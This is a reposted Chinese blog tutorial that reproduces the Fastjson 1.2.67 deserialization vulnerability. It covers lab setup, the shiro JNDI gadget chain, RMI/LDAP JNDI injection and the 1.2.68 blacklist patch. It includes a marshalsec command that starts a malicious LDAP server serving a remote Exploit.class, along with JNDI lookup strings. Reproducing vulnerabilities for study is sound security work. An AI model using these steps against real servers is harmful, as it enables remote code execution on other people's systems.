转载

Fastjson漏洞复现

前言

前不久传的沸沸扬扬的FastJson反序列化漏洞，相信有不少企业都中招了，当然我司也未能幸免，基于次漏洞更具官方给的补漏措施，已完全可以避免在这不再阐述。本文就拿它从一个简单的FastJson 漏洞开始，搭建漏洞环境，分析漏洞成因，使用条件等。从入门者的角度看懂并复现漏洞触发，拥有属于自己的一套漏洞调试环境。

以下便是部分官方公告：

Fastjson漏洞复现

0x01 Fastjson简介

“Fastjson” 是Alibaba的开源JSON解析库，它可以解析 JSON 格式的字符串，支持将 Java Bean 序列化为 JSON 字符串，也可以从 JSON 字符串反序列化到 JavaBean。 

https://github.com/alibaba/fastjson

0x02 环境搭建

JDK 版本：8u112 、fastjson: 1.2.67、shiro: 1.5.1、slf4j-nop: 1.7.25

0x1 添加依赖包

为了快速添加项目所需要的jar包，创建Maven项目如下

Fastjson漏洞复现

Maven文件：pom.xml

Fastjson漏洞复现

Fastjson漏洞复现

导入工程之后右键pom.xml ，点击下载源码source和document。

Fastjson漏洞复现

0x2 Idea中JDK版本选择

此漏洞应该选择：JDK 8u112

Fastjson漏洞复现

0x3 手动漏洞代码

此时在main文件夹中，添加漏洞代码核心在于调用了fastjson.JSON的parseObject 两函数

Fastjson漏洞复现

0x03 漏洞原理

0x1 FastJson 类解析

Fastjson漏洞复现

如图：fastjson.java

Fastjson漏洞复现

Fastjson漏洞复现

Fastjson漏洞复现

因此，通过以上代码可以看出调用parseObject 函数会调用getattr()方法。

0x2 漏洞调用链分析

此时我们进行调用栈分析：

Fastjson漏洞复现

利用1：parseObject 对象类型转换

在这一步的操作是将obj对应的对象类型转化为json，这肯定要获得getattr() 对象方法，从而会触发漏洞。

Fastjson漏洞复现

利用2：反射调用

将用invoke方法，调用getinstance()方法：

例：

Fastjson漏洞复现

利用3： 触发ldap

JndiObjectFactory、getinstance中调用了this.lookup(resourceName)方法:

例：

Fastjson漏洞复现

0x3 JNDI 注入

在Java Name Directory Interface中，Java的命名和目录接口（JNDI）是一种Java 的API，类似于一个索引中心，允许客户端通过name发现和查找数据。JNDI包括Naming Service和Directory Service，此时，通过名称来寻找数据和对象的API，我们也称其中为一种绑定。但是JNDI可访问的现有的目录及服务有：JDBC、LDAP、RMI、DNS、NIS、CORBA。

Fastjson漏洞复现

整个应用场景如：动态加载数据库配置文件，从而保持数据库代码不变动等。

漏洞注入方法：

JNDI Reference 配合 RMI
JNDI Reference 配合 LDAP
RMI格式:ctx.lookup("rmi://localhost:9999/refObj");
LDAP格式ctx.lookup("ldap://localhost:9999/refObj");

假若lookup函数中的参数攻击者可控，便可以指向攻击者的服务器，即：可实现JNDI注入实现任意代码执行。

注入1：RMI

简称RMI（Remote Method Invocation，远程方法调用），远程方法调用是分布式编程中的基本思想，实现远程方法调用的技术有CORBA、WebService等（这两种独立于编程语言）。RMI则是专门为JAVA设计，依赖JRMP通讯协议。

注入2：LDAP

简称：LDAP（Lightweight Directory Access Protocol ，轻型目录访问协议）一种目录服务协议，主要运行在TCP/IP堆栈之上。目录服务是一个特殊的数据库，用来保存描述性的、基于属性的详细信息，从而能进行查询、浏览和搜索，以树状结构组织数据。LDAP以树结构标识所以不能像表格一样用SQL语句查询，它“读”性能很强，但“写”性能较差，并且没有事务处理、回滚等复杂功能，不适于存储修改频繁的数据。LDAP目录和RMI注册表的区别在于是前者是目录服务，并允许分配存储对象的属性。 该漏洞简单的将利用org.apache.shiro 包中的jndi功能访问自己搭建的ldap服务，获取并执行自己编译的Exploit.class文件。

0x04 漏洞利用

0x1 Java 利用代码编译

0x2 此时开启 LDAP 服务

使用marshalsec启动一个ladp服务器 ，下载地址为

https://github.com/mbechler/marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8089/#Exploit

Fastjson漏洞复现

0x3 开启HTTP Web 服务

此时将编译好的Exploit.class 放在web目录下并开启服务

Fastjson漏洞复现

0x05 漏洞补丁

这个链接梳理了fastjson hash对应的jar，可以方便的寻找已经被过滤的jar包

https://github.com/LeadroyaL/fastjson-blacklist

Fastjson漏洞复现

该漏洞采用黑名单的方式进行修补，在1.2.68中把org.apache.shiro.jndi 给ban掉了

Fastjson漏洞复现

具体代码如下图所示，在 public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) 函数中有对应处理。 黑 名单h ash生成算法，大概思路是将每一位都异或进行异或叠加。

Fastjson漏洞复现

本文作者：AttackCTF

原文  https://www.secpulse.com/archives/135237.html
正文到此结束
所属分类： Java 编程技术

热门推荐

相关文章

阿里云首购8折
说给你听

本文目录
随机标签
书籍教程
springboot-demo Java入门教程 bootstrap3 CSS Apache基础教程 php ionic 教程 Python mysql教程 eclipse Ubuntu VPS系统配置 AngularJS 教程 MongoDB教程 Struts2教程 Redis教程 Spring教程 Git教程 Jenkins进阶系列 openfire参考指南 Java设计模式 HBase教程 Maven教程 hibernate教程 Docker 教程 memcached教程 Quartz指南 springcloud-demo Hive教程 Ant教程 ANTLR教程 SpringCloud java实例教程 XStream教程 Hazelcast教程 Elastic-Job-Lite 深入浅出MyBatis SVN教程 ibaties教程 rabittmq教程 solr教程 Hadoop教程 WebService CXF学习 JPA教程 ActiveMQ中文指南 java-demo Java内存模型 dubbo教程 python3-demo Linux入门视频教程
近期评论
  1. 1 如何将Spring Cloud Task发布Data Flow上执行？
  2. 2 Spring Cloud Data Flow快速入门Demo
  3. 3 Spring Cloud Consul实现选举机制
  4. 4 Spring Boot集成ShedLock实现分布式定时任务
  5. 5 利用oss进行数据库和网站图片备份
  6. 6 Spring Cloud Stream实现数据流处理
  7. 7 Python3访问MySQL数据库快速入门Demo
  8. 8 Github开源项目作者可以免费申请 JetBrains 全家桶
  9. 9 Spring Cloud Vault快速入门Demo
  10. 10 Spring Cloud Gateway快速入门Demo
网站信息
  • 文章总数：82,716 篇
  • 文件总数：284,297 个
  • 标签总数：2,396 个
  • 分类总数：85 个
  • 留言数量：2,560 条
  • 在线人数：608 人
  • 运行天数：4,410天
  • 最后更新：2024年11月23日15点
Loading...

其他链接

关于本站

本站定位：个人技术类博客

本站作用：写博客、记日志、闲聊扯淡鼓捣技术。

问题交流

[HBLOG]公众号 HBLOG HBLOG